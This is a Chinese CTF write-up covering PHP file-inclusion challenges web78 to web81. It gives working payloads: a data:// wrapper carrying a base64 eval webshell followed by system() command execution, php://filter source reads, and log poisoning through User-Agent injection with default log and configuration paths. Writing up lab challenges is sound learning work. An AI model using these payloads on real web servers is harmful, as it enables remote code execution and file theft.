# 文件包含
# web78
文件包含常规题 考虑伪协议绕过 这道题没有啥过滤的直接读就行
payload:
(1)?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==(base64过后的<?php eval($_POST[1]);)
POST :1=system("cat * f *");
(2)?file=php://filter/convert.base64-encode/resource=flag.php
# Web79
该题目意思是将php replace成???所以无法直接包含flag.php
这边可以使用data伪协议绕过
1.data协议
php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)
data伪协议只有在php<5.3且include=on时可以写木马。
2.php伪协议:
需要开启allow_url_fopen的:php://input(post请求提交数据)、php://stdin、php://memory和php://temp
不需要开启allow_wrl_fopen的:php://filter 用于读取源码
经常使用的是php://filter 用于读取源码 和php://input 用于执行php代码
# Web80
data 和 php 被过滤所以data和伪协议用不了
用包含日志文件方法 大概意思就是
1、日志的默认路径
/etc/httpd/logs/access_log或/var/log/httpd/access_log //apache+linux
nginx 日志文件在用户安装目录的logs目录下/var/log/nginx/access.log
2、web中间件默认配置uoh文件
/etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd //apache+linux
C:/Windows/system32/inetsrv/metabase.xml //iis6.0+win2003
C:WindowsSystem32inetsrvconfigapplicationHost.config //iis7.0+win
3、利用
方法1 访问
http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent;但是在日志里这句话被编码了;所以用Burp Suite修改来绕过编码;然后包含相应的日志文件:
1
/var/log/nginx/access.log找到日志文件,并以php解析的方式打开
方法2 可以添加php语句 到user_agent(User Agent中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,User Agent也简称UA。它是一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。通过这个标 识,用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计;例如用手机访问谷歌和电脑访问是不一样的,这些是谷歌根据访问者的 UA来判断的。)中
# Web81
多过滤了:不影响包含日志文件的尝试用上一题解决方法
一般都是能够通过日志包含来写的